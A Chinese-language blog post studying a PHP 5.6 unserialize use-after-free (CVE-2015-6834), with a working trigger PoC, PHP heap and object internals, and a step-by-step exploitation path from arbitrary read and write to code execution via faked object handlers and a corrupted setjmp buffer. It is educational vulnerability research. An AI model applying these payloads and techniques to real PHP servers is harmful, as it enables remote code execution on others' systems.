PHP unserialize UAF 研究学习

当初还是Web狗的时候就想搞PHP PWN了,但是一直没行动起来,最近正好有机会,就学习了一下PHP 反序列化的UAF。

最开始我看的是CVE-2016-9137[1],因为之前没接触过PHP相关的二进制漏洞,这UAF漏洞我看了半天却没看懂UAF在哪?怎么导致的?关于该漏洞的相关资料也都没搜到。

随后我又搜了一些PHP其他反序列化UAF的资料[2],然后选择从PCH-034(CVE-2015-6834)开始入手。

我编译了5.6.12版本的php,然后使用woboq来进行代码审计[3]

该类型的文章暂时计划分为两篇,因为在我搞明白反序列化的uaf,我感觉php这么多反序列化的uaf的利用方式应该都大同小异,区别应该是在不同的函数中触发uaf。所以本章主要用来分析php 反序列化 uaf的利用思路,之后打算研究更多的反序列化漏洞来验证我的想法,作为第二篇的内容。

学习思路分享

一般搞二进制相关的漏洞,我的套路都是先看看能不能找到触发漏洞的PoC,比如这次研究的是PCH-034,可以找到PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

class obj {
var $ryat;
function __wakeup() {
$this->ryat = 1;
}
}

function ptr2str($ptr)
{
$out = '';
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'i:1234;:i:1;';
$exploit = 'a:5:{i:0;i:1;i:1;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;R:5;}i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';

$data = unserialize($exploit);

var_dump($data);
?>

但是作为一个之前没接触过PHP PWN的人,虽然该PoC能触发Crash,但是我还是搞不懂为什么会这样,这样有什么用?

因为还找到了漏洞点代码:

1
2
3
4
5
6
7
8
9
10
while(*p == ':') {
++p;
ALLOC_INIT_ZVAL(elem);
if (!php_var_unserialize(&elem, &p, s + buf_len, &var_hash TSRMLS_CC)) {
zval_ptr_dtor(&elem);
goto error;
}

spl_ptr_llist_push(intern->llist, elem TSRMLS_CC);
}

但是,即使有源码可以让我审计,但是直接看漏洞点的代码对我来说还是一脸懵逼,因为PHP的数据结构我一点也不清楚,所以接下来我准备通过调试+源码审计(还有php源码中提供的.gdbinit)先搞懂PHP的数据结构。

从Zero开始的第一步————搞清楚数据结构

过程没啥好说的,这里我只说结果,我认为在研究php unserialize漏洞过程中需要了解的结构体:

php变量相关的数据结构

  1. php变量的结构体:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef struct _zval_struct zval

struct _zval_struct {
/* Variable information */
zvalue_value value; /* value */
zend_uint refcount__gc;
zend_uchar type; /* active type */
zend_uchar is_ref__gc;
};

typedef union _zvalue_value {
long lval; /* long value */
double dval; /* double value */
struct {
char *val;
int len;
} str;
HashTable *ht; /* hash table value */
zend_object_value obj;
zend_ast *ast;
} zvalue_value;

首先来看_zval_struct的数据结构,其中type表示变量的类型,可以通过源码找到php所有的变量类型:

1
2
3
4
5
6
7
8
9
10
11
#define IS_NULL		      0
#define IS_LONG 1
#define IS_DOUBLE 2
#define IS_BOOL 3
#define IS_ARRAY 4
#define IS_OBJECT 5
#define IS_STRING 6
#define IS_RESOURCE 7
#define IS_CONSTANT 8
#define IS_CONSTANT_AST 9
#define IS_CALLABLE 10

_zvalue_value则是变量值的数据结构,在64位系统中,该结构体占0x10字节。

比如当type = 1的时候_zvalue_value->lval就表示一个整型变量的值,dval则是浮点型变量

str为字符串变量,占12字节,前8字节,val为字符串指针,后4字节表示字符串长度。

HashTable *ht是数组变量的结构体,zend_object_value obj为对象变量的结构体。

所以,在zval结构体中,value值的具体含义取决于type的值。

refcount__gc变量涉及到了php的垃圾回收机制,该值表示该zval结构体被引用的次数,如果该值被降为0的时候,将会触发垃圾回收机制,释放该zval结构体,如果该结构体的值是指针,也会更着被释放。

is_ref__gc则表示该变量是否引用了其他变量,可以简单的认为,当该值为1的时候,表示该变量是一个指针变量。但是在具体源码审计的过程中,并没有发现对该值有啥check机制,暂时认为不需要关注。

  1. 键值对类型变量数据结构

该数据结构指的是HashTable,但是我没称为数组变量结构体,而是键值对变量结构,因为除了数组,对象的属性也是使用该结构。该结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
typedef struct _hashtable {
uint nTableSize;
uint nTableMask;
uint nNumOfElements;
ulong nNextFreeElement;
Bucket *pInternalPointer; /* Used for element traversal */
Bucket *pListHead;
Bucket *pListTail;
Bucket **arBuckets;
dtor_func_t pDestructor;
zend_bool persistent;
unsigned char nApplyCount;
zend_bool bApplyProtection;
#if ZEND_DEBUG
int inconsistent;
#endif
} HashTable;

其中nNumOfElements表示数组元素的数量,数组的元素通过Bucket结构体保存,通过pListHead/pListTail形成双链表结构:

1
2
3
4
5
6
7
8
9
10
11
typedef struct bucket {
ulong h; /* Used for numeric indexing */
uint nKeyLength;
void *pData;
void *pDataPtr;
struct bucket *pListNext;
struct bucket *pListLast;
struct bucket *pNext;
struct bucket *pLast;
const char *arKey;
} Bucket;

如果该数组为列表结构,那么ulong h表示该数组的key,如果为字典结构的数组,则char *arKey表示该数组的key,长度为uint nKeyLength

pDataPtr为值的指针,一般都是zval结构,但是有时候可能会有特殊用法,所以在结构体中被定义为void *单纯的指针。

  1. 对象变量数据结构
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct _zend_object_value {
zend_object_handle handle;
const zend_object_handlers *handlers;
} zend_object_value;

typedef unsigned int zend_object_handle

struct _zend_object_handlers {
/* general object functions */
zend_object_add_ref_t add_ref;
zend_object_del_ref_t del_ref;
zend_object_clone_obj_t clone_obj;
......
太多了,不想贴,暂时不是特别重要
};

_zend_object_handlers从名字都能看出来,是一些handle函数指针,这还是比较重要的,跟后续的一种利用思路相关。

handle变量是一个整型,表示该对象的index,对象变量一般都是全局保存。

有一个zend_executor_globals结构体,在这个结构体中,有一个zend_objects_store objects_store;用来储存对象。

1
2
3
4
5
6
typedef struct _zend_objects_store {
zend_object_store_bucket *object_buckets;
zend_uint top;
zend_uint size;
int free_list_head;
} zend_objects_store;

这里的object_buckets就是一个对象数组,通过object_buckets[handle]找到相对应的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
typedef struct _zend_object_store_bucket {
zend_bool destructor_called;
zend_bool valid;
zend_uchar apply_count;
union _store_bucket {
struct _store_object {
void *object;
zend_objects_store_dtor_t dtor;
zend_objects_free_object_storage_t free_storage;
zend_objects_store_clone_t clone;
const zend_object_handlers *handlers;
zend_uint refcount;
gc_root_buffer *buffered;
} obj;
struct {
int next;
} free_list;
} bucket;
} zend_object_store_bucket;

该对象的详细信息数据结构由void *object;变量指向,在大部分情况下,其结构体为zend_object

1
2
3
4
5
6
typedef struct _zend_object {
zend_class_entry *ce;
HashTable *properties;
zval **properties_table;
HashTable *guards; /* protects from __get/__set ... recursion */
} zend_object;

zend_class_entry *ce;该结构体储存了该对象的一些重要的数据,比如该对象的名字,还有一些函数地址之类的。

HashTable *properties这个就是之前说的,对象的属性,通过键值对的形式储存在该变量中。

php全局变量相关数据结构

php还有一个储存全局信息的数据结构_zend_executor_globals

1
2
3
4
5
6
// 太长了,只贴对研究利用有用的结构
struct _zend_executor_globals {
JMP_BUF *bailout;
zend_objects_store objects_store;
struct _zend_execute_data *current_execute_data;
};

try … catch

写过php/pythontry ... catch/except相关的语法应该很熟悉了,php是用C写的,但是C却没相关的语法,那么php的该语法是如何实现的?我们可以在php源码中找到这样的代码:

1
2
3
4
5
6
7
8
9
              zend_try {
obj->dtor(obj->object, handle TSRMLS_CC);
} zend_catch {
failure = 1;
} zend_end_try();
......
if (failure) {
zend_bailout();
}

然后我们找到相关的宏定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#define zend_try				                                \
{ \
JMP_BUF *__orig_bailout = EG(bailout); \
JMP_BUF __bailout; \
\
EG(bailout) = &__bailout; \
if (SETJMP(__bailout)==0) {
#define zend_catch \
} else { \
EG(bailout) = __orig_bailout;
#define zend_end_try() \
} \
EG(bailout) = __orig_bailout; \
}

#define zend_bailout() _zend_bailout(__FILE__, __LINE__)
ZEND_API void _zend_bailout(char *filename, uint lineno) /* {{{ */
{
TSRMLS_FETCH();

if (!EG(bailout)) {
zend_output_debug_string(1, "%s(%d) : Bailed out without a bailout address!", filename, lineno);
exit(-1);
}
CG(unclean_shutdown) = 1;
CG(active_class_entry) = NULL;
CG(in_compilation) = EG(in_execution) = 0;
EG(current_execute_data) = NULL;
LONGJMP(*EG(bailout), FAILURE);
}

我在学习的时候看到这里我还是很迷惑,随后我又去看了setjmp/longjmp这两个函数的作用,才搞懂了其原理。

这两个函数的具体功能这里不细说,大家自己去看文档。这里我说说使用C语言实现try...catch的逻辑。

setjmp的参数__bailout为空的时候,相当于是第一次执行setjmp,这个时候会把一些寄存器信息储存到JMP_BUF结构体中,__bailout在栈上,并且有一个全局变量executor_globals.bailout指向该地址。

第一次执行setjmp的返回值为0,所以进入了try { xxx }的分支,执行正常的代码,如果执行的代码中遇到了错误,将会执行zend_bailout函数,或者zend_error(在zend_error函数中会执行zend_bailout)函数,这样将会通过longjmp函数跳回到SETJMP(__bailout),这个时候的setjmp函数的返回值则是根据longjmp的第二个参数决定,正常情况下是非0值,所以进入了catch { xxx }逻辑分支。(还可以根据setjmp的返回值来确定是什么类型的Exception

因为我测试的时候是使用php xxx.php命令来执行php的,所以如果遇到错误异常,最终会跳回到php_execute_script函数,在这个函数中,主体代码都在try { xx }分支中,当遇到异常,则会进入zend_end_try(),直接退出,并不会做错误输出啥的,一般错误输出都是通过zend_error函数实现。

zend_execute_data

通过.gdbinit我们能知道,可以通过_zend_execute_data结构体来查看当前作用域的变量。具体的还是自行去看.gdbinit吧,这里就不说了。

php堆管理数据结构

php的源码中,自行实现了一套堆管理系统,可以通过use_zend_alloc环境变量来控制堆管理使用malloc还是_zend_mm_alloc_int

1
2
3
4
5
6
7
8
9
ZEND_API void *_emalloc(size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
TSRMLS_FETCH();

if (UNEXPECTED(!AG(mm_heap)->use_zend_alloc)) {
return AG(mm_heap)->_malloc(size);
}
return _zend_mm_alloc_int(AG(mm_heap), size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}

默认情况下是使用_zend_mm_alloc_int来分配堆内存,具体的逻辑感兴趣的自行研究,这里只说一说几个关键的数据结构。

1
2
3
4
5
6
7
8
9
typedef struct _zend_alloc_globals {
zend_mm_heap *mm_heap;
} zend_alloc_globals;

# define AG(v) (alloc_globals.v)

static zend_alloc_globals alloc_globals;

typedef struct _zend_mm_heap zend_mm_heap;

需要关注的就是zend_mm_heap结构体,可以类比为mallocmain_area

1
2
3
4
5
6
7
8
9
struct _zend_mm_heap {
int use_zend_alloc;
......
zend_mm_free_block *cache[ZEND_MM_NUM_BUCKETS];
......
};

#define ZEND_MM_NUM_BUCKETS (sizeof(size_t) << 3)
// 64

主要就是注意这个cache结构,php自己实现的这套堆内存管理,也有按大小分不同的chunk,最小的chunk为0x20 - 0x21f, _zend_mm_free_int会把这个区间的堆内存释放后暂存到cache里面。

cache能存放64种大小的堆块,最小的从0x20开始,到最大的0x218,每种堆块之间相隔8字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
typedef struct _zend_mm_small_free_block {
zend_mm_block_info info;
#if ZEND_DEBUG
unsigned int magic;
# ifdef ZTS
THREAD_T thread_id;
# endif
#endif
struct _zend_mm_free_block *prev_free_block;
struct _zend_mm_free_block *next_free_block;
} zend_mm_small_free_block;

/* mm block type */
typedef struct _zend_mm_block_info {
#if ZEND_MM_COOKIES
size_t _cookie;
#endif
size_t _size;
size_t _prev;
} zend_mm_block_info;

在分配/释放small chunk的逻辑里面,只处理size(因为需要确定放到cache的哪个位置)和prev_free_block(small chunk是一个单链表结构)。安全性比malloc差的太多了,没有任何的check机制。

php默认反序列化函数中数据结构

php默认的反序列化函数为php_var_unserialize,在这个函数中有一个参数:php_unserialize_data_t *var_hash:

1
2
3
4
5
6
struct php_unserialize_data {
void *first;
void *last;
void *first_dtor;
void *last_dtor;
};

一般情况下,php_unserialize_data结构体的几个成员变量都是var_entries结构:

1
2
3
4
5
6
7
var_entries *var_hash = (*var_hashx)->first;

typedef struct {
zval *data[VAR_ENTRIES_MAX];
long used_slots;
void *next;
} var_entries;

php_var_unserialize会把反序列化后生成的每一个zval结构体,按照顺序,放入data[VAR_ENTRIES_MAX]数组,而反序列化中的引用变量(R)就是通过这个结构体,找到它要引用的zval变量。

PHP反序列化中的UAF

php的数据结构搞清楚了以后,就要开始研究UAF漏洞了,UAF漏洞在哪?是什么原因触发了该漏洞?我们通过PoC来分析一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'i:1234;:i:1;';
$exploit = 'a:5:{i:0;i:1;i:1;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;R:5;}i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';


/** exploit = a:5:{
i:0;i:1;
i:1;C:19:"SplDoublyLinkedList":12:
{i:1234;:i:1;}
i:2;O:3:"obj":1:
{s:4:"ryat";R:3;}
i:3;a:1:{i:0;R:5;}
i:4;s:32:"xxxxxxxxxx";}

**/

下面的步骤的可以通过脑内调试,或者使用gdb调试来调理清楚:

  1. 生成一个数组zval变量,放入var_entries.data[0],引用index = 1
  2. 生成一个整型zval变量,放入var_entries.data[1],引用index = 2, 放入数组[0]的pDataPtr
  3. 生成一个对象zval变量,放入var_entries.data[2],引用index = 3, 放入数组[1]的pDataPtr
  4. 根据SplDoublyLinkedList对象的代码,生成一个整型zval变量(1234),设置为对象的flags属性的值,放入var_entries.data[3],引用index = 4
  5. 根据SplDoublyLinkedList对象的代码,生成一个整型zval变量(1),设置为对象的数组元素的值,放入var_entries.data[4],引用index = 5
  6. 对象SplDoublyLinkedList处理完毕,执行其__wakeup函数
  7. 生成一个对象zval变量,放入var_entries.data[5],引用index = 6, 放入数组[2]的pDataPtr
  8. 对象objryat属性指向index = 3的SplDoublyLinkedList对象zval
  9. 对象obj处理完毕,执行__wakeup函数,$this->ryat = 1;。该逻辑位于zend_std_write_property函数,属性ryat的值为整型zval变量(1),ryat之前的值将会进入到垃圾回收的流程。
  10. index = 3的对象将会进入到_zval_dtor_func函数,进入到以下流程:
1
2
3
4
5
6
7
case IS_OBJECT:
{
TSRMLS_FETCH();

Z_OBJ_HT_P(zvalue)->del_ref(zvalue TSRMLS_CC);
}
break;
  1. 随后的大致流程为:zend_objects_store_del_ref -> spl_dllist_object_free_storageSplDoublyLinkedList对象数组的变量也被释放(index = 5)
  2. 生成一个数组zval变量,放入var_entries.data[6], 引用index = 7,数组[0]的值指向了index = 5的变量,该变量在上述逻辑中已经被释放,但是仍然可以被引用。
  3. 生成一个字符串zval变量,因为一个zval的结构体大小为0x20字节,这个时候生成的字符串zval变量指向的字符串也是一个大小为0x20(不包括头部)字节的堆块,而这个堆块正好等于index = 5变量被释放的堆块。(在本例中是正好这种情况下index=5的堆块被分配给了字符串,但是实际情况中不一定,所以需要自己构造,可以对PoC进行调试,查看堆块的分配情况,对反序列化元素进行相应的调整。)
  4. 这个时候就产生了UAF漏洞,一个被释放的堆块,仍然能被指针指向,并且可以重新覆盖该部分堆块的值。

PHP 反序列化 UAF漏洞的利用

只知道漏洞点在哪还不够,还得能被利用,要不然该漏洞点地位就跟bug一样了。

任意读

正常情况下的PHP程序都是保护全开的,除非有啥命令注入之类的漏洞,要不然在不知道地址的情况下是很难利用的。所以我们首先来研究怎么通过UAF漏洞来达到任意读的目的。

触发漏洞的逻辑上面说的很清楚了,在第13步的时候,我们已经知道0x20字节长度的字符串被分配的堆内存跟index = 5的zval变量内存是一样的。在12步的时候,我们让一个数组的0索引指向index = 5的zval变量,相当于也指向这个0x20字节的字符串,这让我们能构造index = 5的zval变量的内容,zval的数据结构在前文已经进行了讲解,比如在PoC中:

1
2
3
4
5
6
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

该部分就是对index = 5的zval进行伪造,在上例中,把zval的type设置为0x01,表示为一个整型变量,其值为1122334455,所以我们能得到输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ php uafpoc.php
array(5) {
[0]=>
int(1)
[1]=>
&int(1)
[2]=>
object(obj)#2 (1) {
["ryat"]=>
&int(1)
}
[3]=>
array(1) {
[0]=>
int(1122334455) <=== so we can control the memory and create fake ZVAL :)
}
[4]=>
string(24) "?v?B????"
}

除了整型,我们还可以把type设置为字符串,这样前8字节就表示字符串地址,后面4字节表示字符串长度,这样就能达到任意地址读的目的。但是这个时候有一个问题了,PHP保护全开,我们怎么能读到一个有效地址呢?如果进行爆破,读到无效地址,程序直接就crash了。

如下PoC:

1
$exploit = 'a:3:{i:0;C:19:"SplDoublyLinkedList":17:{i:1234;:i:2;:i:4;}i:1;O:3:"obj":1:{s:4:"ryat";R:2;}i:2;a:1:{i:0;R:5;}}';

我们可以把字符串的变量给删了,让数组引用直接引用到被释放的堆块,再让SplDoublyLinkedList对象的数组中增加一个zval变量,这样再被释放时,0x20大小的堆块将会被多释放一块,确保数组引用的释放的堆块的prev_free_block能指向下一个堆块,这样我们就能获取到堆地址。

之后我们能对堆进行扫描,从而获取到PHP binary地址,然后通过\x7fELF字符串来找到基地址,libc之类的同理。

通过任意读,我们可以获取在内存中的binary,所以在后续的利用中都是假设能已知libc版本,PHP binary版本。(相当于要用ROP的时候,知道偏移。)

RCE1

第一种RCE的方法跟任意读的方法差不多,我们能把index = 5的zval伪造成对象变量,之后在反序列化的后面再加一个obj对象,让其ryat属性指向index = 5,也就是相当于指向我们伪造的对象变量。根据前面所说的第10步,会进入到_zval_dtor_func函数,随后执行Z_OBJ_HT_P(zvalue)->del_ref(zvalue TSRMLS_CC);

我们来看看Z_OBJ_HT_P的宏展开:

1
2
3
#define Z_OBJ_HT_P(zval_p)	Z_OBJ_HT(*zval_p)

#define Z_OBJ_HT(zval) Z_OBJVAL(zval).handlers

既然我能把zval伪造成一个对象变量,那么也能伪造其handlers成员变量,根据之前研究的zend_object_handlers的数据结构,我们只要找到一个地址A,让A + 8的值为system的地址,那么Z_OBJ_HT_P(zvalue)->del_ref(zvalue)就会变成system(zvalue)

找这个地址A也简单,我们只要创建一个字符串变量,其值为重复n次的system地址(长度就是n*8),然后通过任意读,来找到这个变量在堆上的位置。

system的地址我们可以首先通过任意读找到libc的地址,从而找到system地址。

随后zvalue的handle部分有8字节可以供我们伪造system要执行的字符串,但是该方法限制太大了,只能执行8字节的命令,比如sh /*/x;。虽然限制大,但是这种方法最简单。

这种方法主要是能控制RIP,如果能找到能栈迁移的ROP,这种方法就最好用的,但是我暂时没找到。

任意写

第二种RCE的方法就比较麻烦了,不过在研究第二种RCE的方法前,我们先来研究一下任意写。

任意写1

第一种任意写的方法和任意读的大部分步骤相同,比较像是把任意读和rce1的步骤进行结合。

同样是把index = 5的zval变量伪造成一个字符串变量,字符串的地址为你想要写的地址A。但是我们需要再反序列化数据之后再增加一个obj对象,让其ryat属性执行index = 5的变量,根据之前的逻辑,将会执行到_zval_dtor_func函数,因为该变量为字符串,所以将会执行:

1
2
3
4
5
case IS_STRING:
case IS_CONSTANT:
CHECK_ZVAL_STRING_REL(zvalue);
str_efree_rel(zvalue->value.str.val);
break;

字符串的地址将会被释放,在前面将会,对于大小在0x21f以内的堆块再被释放后会被放入cache中。从这里我们能看出,这个地址A并不是能随意写,需要A - 0x10的值,也就是size字段, < 0x21f,并且 >= 0x20。

如果满足上述条件,地址A将会被放入cache中,随后我们再反序列化字符串后续增加一个相应长度的字符串,这个字符串被分配的地址就会是A。从而达到任意写的目的,有点的利用简洁明了,方便。缺点是,任意写的地址需要满足size字段的需求。

任意写2

第二种任意写可以说是在第一种任意写之上的拓展吧。

  1. 通过字符串zval,申请一块small大小范围内的堆块,比如0x100字节(不包括0x10字节的头部)。这块内存区域我们可以写入一段有特征的字符,这样我们可以通过任意读来确定该内存的地址,比如确定了该地址为A(不包括头部)。
  2. 伪造一个字符串zval变量,字符串指针指向A + 0x10
  3. 随后把0x100大小的字符串还有伪造的zval都释放掉,因为两者大小不同,所以会放入不同的cache
  4. 这里需要注意一下,0x100大小的字符串,前0x10字节的值因为被设置为伪造的字符串变量的值的大小。所以我们能控制A + 0x10被释放后,放入哪个cache。
  5. 再次申请一个0x100字节大小的字符串变量,这样我们就能覆盖A + 0x18的值(prev_free_block),该值可以为我们想任意写的地址B。再次申请的第二个相应大小的堆块,就是地址为B的内存区域。

php_pwn0_0

RCE2

第二种RCE比第一种麻烦了很多,但是限制却小了。

前面说了一下在C语言中使用的try ... catch,如果我们想办法在不触发try(zend_try)的情况下,直接触发zend_bailout,那么就会恢复到executor_globals.bailout储存的状态下。

executor_globals的地址储存在PHP binary的.bss段,所以我们能通过任意读来获取到,在知道executor_globals地址的情况下,我们就能获取到bailout的地址。

这个时候就有4个方向,使用任意写2,来修改bailout地址的值,或者使用任意写2来修改executor_globals上储存的bailout的值。

还可以使用任意写1,尝试在bailout地址上查找是否有合适的size值,如果有,使用这个方法是最方便快捷的。或者可以使用任意写1,在executor_globalsbailout的上方查找是否有合适的size。使用这种方法时需要注册,不要随意修改executor_globals结构体的中的其他值,要不然还没rce就报错退出了。我们可以先使用任意读,获取到executor_globals上的值,然后只修改bailout的值,再重新写入。

关于JMP_BUF的结构,一个是要清楚其代表的寄存器顺序:

rbx (r9 ^ x) << 0x11 (rbp = r9)
r12 r13
r14 r15
(r8 ^ x) << 0x11 (rsp = r8) (rdx ^ x) << 0x11 (rip = rdx)

<<不是普通的左移符号,表示为循环左移,想要恢复寄存器的值,通过逆推需要循环右移(ror),其大致逻辑如下:

1
2
3
4
5
def ror(num, r):
b = bin(num)[2:].zfill(64)[-r:]
b = int(b, 2) << (64 - r)
nn = num >> r
return nn | b

主要问题还是x的问题,在一个进程中,x的值不会变,这个时候executor_globals.bailout原本保存的寄存器信息为php_execute_script函数中zend_try执行setjmp时保存的,所以我们可以首先获取到(rdx ^ x) << 0x11的值,假设该值为A,然后我们可以通过PHP的binary获取到php_execute_script函数中call setjmp的下句指令的地址,假设该值为B。那么,我们可以得出(A >> 0x11) ^ B == x

关于JMP_BUF的利用,以及有很多文章都写过了,这里也就不多说了。

总结

能控制RIP,RSP后,后续利用就简单了,使用ROP设置参数,然后执行命令,EXP没法放出来。

下篇文章打算讲多个反序列化UAF漏洞在实际生产环境中的利用,因为现在的研究都是直接使用php script.php

引用

  1. https://bugs.php.net/bug.php?id=73147
  2. https://github.com/80vul/phpcodz
  3. https://nobb.site/php/

PHP unserialize UAF 研究学习

https://nobb.site/2020/04/17/0x5A/

Author

Hcamael

Posted on

2020-04-17

Updated on

2020-05-22

Licensed under